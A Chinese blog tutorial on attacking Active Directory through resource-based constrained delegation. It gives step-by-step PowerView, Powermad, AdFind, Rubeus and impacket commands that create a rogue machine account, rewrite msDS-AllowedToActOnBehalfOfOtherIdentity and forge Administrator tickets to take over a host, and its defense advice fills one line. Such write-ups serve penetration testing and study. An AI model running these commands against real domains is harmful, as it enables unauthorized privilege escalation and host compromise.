基于windows中委派的攻击思路(下)-基于资源的约束性委派
文章目录
- 1. 前言
- 2. 技术点
- 2.1 利用原理:
- 那么如何获得一个机器账户呢?
- 如何获得一个有权利修改msDS-AllowedToActOnBehalfOfOtherIdentity?
- 3. 利用过程:
- 1. 导入powerview
- 2. 利用powermad添加机器账户:
- 3. 查询添加的机器账户的sid
- 3. 修改msDS-AllowedToActOnBehalfOfOtherIdentity:
- 3.1 win server 2012以上:
- 3.2 win server 2012以下:
- 域控上验证:
- 基于powerview验证
- 4.进攻
- 4.1 利用rubues获取票据
- 4.2.利用impacket获取票据
- 5. 防御方法
- 6. 参考文章
1. 前言
之前写了一篇基于windows中委派的攻击思路(上)-约束性委派与非约束性委派,今天的这篇基于资源的约束性委派攻击,是这个专题的最后一篇,也算是对委派这个技术点研究的一个小小的逗号,委派太烦了!!!
补充:
1.如果导入powerview后执行以下命令后有回显,证明yukong主机配置了基于资源的约束性委派。
Get-DomainComputer yukong -Properties msds-allowedtoactonbehalfofotheridentity
2.查找将win主机拉入域内的人的sid,其实就是查找lisi这台主机的mS-DS-CreatorSID值:
首先使用powerview来试试:
Get-DomainComputer -Identity win -Properties mS-DS-CreatorSID
查出来的结果读起来很麻烦看不懂。这时候可以用
使用域控的dll文件试试:
发现在域控上执行可以成功,但是在普通机器上执行的话结果显示不全。
Get-DomainComputer win -Properties mS-DS-CreatorSID
域控上执行:
普通机器上执行,不显示mS-DS-CreatorSID:
使用adfind试试:
发现显示了完整的mS-DS-CreatorSID。
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
确定这个S-1-5-21-3763276348-88739081-2848684050-1110到底是谁:
AdFind.exe -b "DC=test,DC=com" -f "(&(objectsid=S-1-5-21-3763276348-88739081-2848684050-1110))" objectclass cn dn
发现是一个名叫zhangsan的用户账号。
查询域中被当前用户拉进域内的所有资产(也就是查询账号属性中mS-DS-CreatorSID为当前用户sid的所有账号)
1.使用whoami /all查询当前用户的sid为 S-1-5-21-3763276348-88739081-2848684050-1110
2.使用adfind
AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3763276348-88739081-2848684050-1110))" cn sAMAccountType objectCategory
samAccountType的值最后三位是369证明这是一台机器或者说是机器账号,如果是368就是一个账号(服务账号或者普通账号)。
如果一个账号没有mS-DS-CreatorSID,那么其是被域管拉入域内的。
Microsoft.ActiveDirectory.Management.dll 、 adfind 下载地址:https://github.com/shanfenglan/test
2. 技术点
2.1 利用原理:
msDS-AllowedToActOnBehalfOfOtherIdentity属性作用是控制哪些用户可以模拟成域内任意用户然后向该计算机进行身份验证。如果能将这个属性的值配置成我们已经拿到密码的一个机器账户
的话,那我们就能以任意成员的身份去控制配置了这个属性的主机。举个例子:zhangsan$是我们已经拿到密码账户,而我们有权利对apple这台主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性进行修改,那么我们就能拿到apple这台主机的所有权限。当然,前提是我们已经在域中。
换句话说如果我们拥有配置某台主机msDS-AllowedToActOnBehalfOfOtherIdentity
的权限与创建机器账户的权限,那我们就相当于拿到了此机器的所有权限。至于为什么是机器账户,而不能是普通用户的账户,因为攻击的时候会利用到S4U2Self协议,而它只适用于具有SPN的账户,普通账户是没有spn的,而机器账户是有的。
补充:一台机器默认会有一个host服务的spn例如host/LISI,这个host类型的服务里面包含了很多小的服务例如cifs。它是一些服务的集合体。
那么我们现在就思考,谁有修改某台主机msDS-AllowedToActOnBehalfOfOtherIdentity的权限呢?
根据大佬们的研究,得到的结论是:
- 这台主机的机器账户。
- 将这台主机加入到域内的账户。举个例子,如果tom这台机器在加域的时候填写的域内账户是cody,那么cody这个用户就有修改tom这台主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。下面加一个ATEAM博客中的图来方便大家理解。下图中n0thing这个用户就有对n0thing-pc这台主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性修改的权限。
综上,我们想利用基于资源的约束性委派进行攻击的话就需要如下两个点:
- 一个机器账户
- 一个有权利修改msDS-AllowedToActOnBehalfOfOtherIdentity的账户
那么如何获得一个机器账户呢?
域内用户都有一个属性叫做ms-ds-MachineAccountQuota,它代表的是允许用户在域中常见计算机账户的个数,默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。
如何获得一个有权利修改msDS-AllowedToActOnBehalfOfOtherIdentity?
随缘,可遇不可求。不过有一个好消息就是我们可以查询域内计算机的mS-DS-CreatorSID
,这个值代表的是将计算机加入到域内的用户,它是具有修改msDS-AllowedToActOnBehalfOfOtherIdentity
的权限的,如果我们可以拿到那个用户的凭据,就可以控制那个用户添加到域内的所有的电脑。
参考代码:
using System;
using System.Security.Principal;
using System.DirectoryServices;namespace ConsoleApp9
{class Program{static void Main(string[] args){DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=redteam,dc=com");DirectorySearcher search = new DirectorySearcher(ldap_conn);String query = "(&(objectClass=computer))";//查找计算机search.Filter = query;foreach (SearchResult r in search.FindAll()){String mS_DS_CreatorSID="";String computername = "";try{computername = r.Properties["dNSHostName"][0].ToString();mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();//Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID);}catch{;}//再通过sid找用户名String UserQuery = "(&(objectClass=user))";DirectorySearcher search2 = new DirectorySearcher(ldap_conn);search2.Filter = UserQuery;foreach (SearchResult u in search2.FindAll()){String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();if (user_sid == mS_DS_CreatorSID) {//Console.WriteLine("debug");String username = u.Properties["name"][0].ToString();Console.WriteLine("[*] [{0}] -> creator [{1}]",computername, username);}} }}}
}
整个利用的流程大概是这样子的:
- 添加机器账户
- 修改msDS-AllowedToActOnBehalfOfOtherIdentity值为机器账户的sid
- 以机器账户的身份伪造成administrator申请一张访问此机器账户机器的ticket(类似于白银票据),因为机器账户没有配置约束性委派,所以这张票据是不可转发的,但是在基于资源的约束性委派中,票据是否可以转发不重要,对之后对s4u2proxy不影响。
- 利用这张ticket去申请访问修改了msDS-AllowedToActOnBehalfOfOtherIdentity属性的机器。
3. 利用过程:
当我们拿掉域内的一个用户的权限后:
1. 导入powerview
Set-ExecutionPolicy Bypass -Scope Process
. .\PowerView.ps1
先查看一下自己可以更改谁的msds-allowedtoactonbehalfofotheridentity属性值
whoami /all
#找到当前用户sid,假设当前用户sid为S-1-5-21-3763276348-88739081-2848684050-1110
Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3763276348-88739081-2848684050-1110"} | select objectdn,activedirectoryrights | sort -Unique
如下图所示可以更改win这台主机的msds-allowedtoactonbehalfofotheridentity
属性,如果activedirectoryrights
的值不是完全控制(genericall)或者writeproperty的话,有可能不能更改目标主机的属性值,:
2. 利用powermad添加机器账户:
下载地址:https://github.com/Kevin-Robertson/Powermad
New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)
net group "domain computers" /domain #验证
3. 查询添加的机器账户的sid
https://github.com/shanfenglan/test #Microsoft.ActiveDirectory.Management.dll在这里下载
dsquery computer | dsget computer -dn -sid
#在域控上执行可查看机器账户sid
Get-ADComputer evilsystem
#也可以得到机器账户evilsystem的sid,#需要在powershell中
import-module .\Microsoft.ActiveDirectory.Management.dll
也可以用powerview
Get-DomainComputer -Identity evilsystem | select objectsid
3. 修改msDS-AllowedToActOnBehalfOfOtherIdentity:
3.1 win server 2012以上:
Set-ADComputer yukong -PrincipalsAllowedToDelegateToAccount evilsystem$
#需要在powershell中import-module ./Microsoft.ActiveDirectory.Management.dll
3.2 win server 2012以下:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3763276348-88739081-2848684050-1601)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer yukong| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
域控上验证:
这个命令只有在域控上执行才成功,普通用户机器,即使导入了dll文件,执行的话也会显示不全。
Get-ADComputer yukong -Properties PrincipalsAllowedToDelegateToAccount
#需要在powershell中import-module ./Microsoft.ActiveDirectory.Management.dll
这个dll文件域控上都有,也可以去https://github.com/shanfenglan/test下载。
Get-DomainComputer yukong -Properties msds-allowedtoactonbehalfofotheridentity
基于powerview验证
如果有回显,即可证明设置成功。
4.进攻
4.1 利用rubues获取票据
Rubeus.exe hash /user:evilsystem /password:evil /domain:test.com
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:Administrator /msdsspn:cifs/yukong /ptt
dir \\yukong\c$
4.2.利用impacket获取票据
python getST.py -dc-ip 192.168.124.142 -spn cifs/yukong -impersonate administrator test.com/evilsystem$:evilset KRB5CCNAME=administrator.ccachepython psexec.py -no-pass -k yukong
5. 防御方法
将高权限的用户配置为敏感账户。
6. 参考文章
Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
A Case Study in Wagging the Dog: Computer Takeover
获取机器账户sid
这是一篇“不一样”的真实渗透测试案例分析文章
微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)
域渗透——基于资源的约束委派利用
域渗透技巧:MachineAccountQuota的利用
结合 CVE-2019-1040 漏洞的两种域提权利用深度分析
基于windows中委派的攻击思路(下)-基于资源的约束性委派相关推荐
- 基于windows中委派的攻击思路(上)-约束性委派与非约束性委派
文章目录 1. 前言 2. 发现具有委派关系的用户和计算机 2.1 原理 2.2 利用工具查找 1. ADFind 1.查询非约束委派的主机: 2.查询约束委派的主机 2. ldapsearch 1. ...
- Kerberos 域委派攻击之非约束性委派
CSDN文章自动迁移自博客 在Windows 2000 Server 首次发布 Active Directory 时,Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 W ...
- python os模块安装方法_基于python中pygame模块的Linux下安装过程(详解)
一.使用pip安装Python包 大多数较新的Python版本都自带pip,因此首先可检查系统是否已经安装了pip.在Python3中,pip有时被称为pip3. 1.在Linux和OS X系统中检查 ...
- Kerberos 域委派攻击之约束性委派
CSDN自动博客文章迁移 由于非约束性委派的不安全性,微软在 Windows Server 2003 中引入了约束委派.区别在于不会直接把 TGT 给服务,所发送的认证信息中包含了允许访问的服务,即不 ...
- python中pygame模块下载_基于python中pygame模块的Linux下安装过程(详解)
pyhthon中pygame模块怎么安装?pyhthon中pygame模块怎么安装?鄙人为初二一名学生,闲来无事 钻研起电这句话还是建议问一下你们代课老师吧,因为你们老师是这方面专家,诺儿那边的话肯定 ...
- 聊聊护网中常见钓鱼攻击思路
每日一句:HW中,红队.蓝队都会很累.没有说哪个会更强一些,毕竟道高一尺魔高一丈. 一.网络钓鱼 01.一些简介~钓鱼属于社会工程学~在18年的红蓝对抗还不怎么常见,~在19年的时候就比较泛滥了02. ...
- windows中遍历指定文件夹下的所有子文件夹
前面我给出了windows下面指定文件夹下面指定类型文件的遍历程序,这里,再给出遍历指定文件夹下的所有子文件夹的程序: #include "stdafx.h" #include & ...
- windows中安装mysql和php_windows下配置php + mysql环境
一.php服务器环境:apache + php安装与配置 1.下载apache.(httpd.apache.com) apache官网只提供源码,编译文件会有跳转到别的网站的下载地址. 如需VC9或V ...
- windows中的cmd命令窗口下切换盘符的命令
返回上一级目录: cd .. 进入盘符根目录(例如进入E盘): e:
最新文章
- 一个后端开发人员的node.js学习笔记(一)安装与第一个服务器
- Qt的drawText不换行解决
- 那些VisualStudio隐藏的调试功能
- ARP 协议 理解
- 开发环境ubuntu16.04常用工具和设置(git、ssh、python、sh、java、Maven、mysql、postgresql)
- Extmail企业邮箱构建指南
- CentOS7下安装并简单设置PostgreSQL笔记
- 【经典精读】Transformer模型深度解读
- 2015Mac版飞秋无法接受文件夹!!!
- 国内外公有云对比:功能介绍、性能测试
- win7下maven安装
- 用ESP32打造一个物联网红外测温打卡机/春节结束急着上班?哒咩,再努力奋斗也要先测体温
- Netapp 存储文件共享-windows 系统应用
- Excel打开密码怎么解除
- 如何用HTML和css实现拼图,打造自己的html5拼图小游戏
- 【新手上路常见问答】关于物联网传输协议MQTT
- Windows10黑体字体
- 循序渐进学SAP系列(一):--SAP该如何入门
- 毕设java 电脑配件购物商城论文
- linux install jkd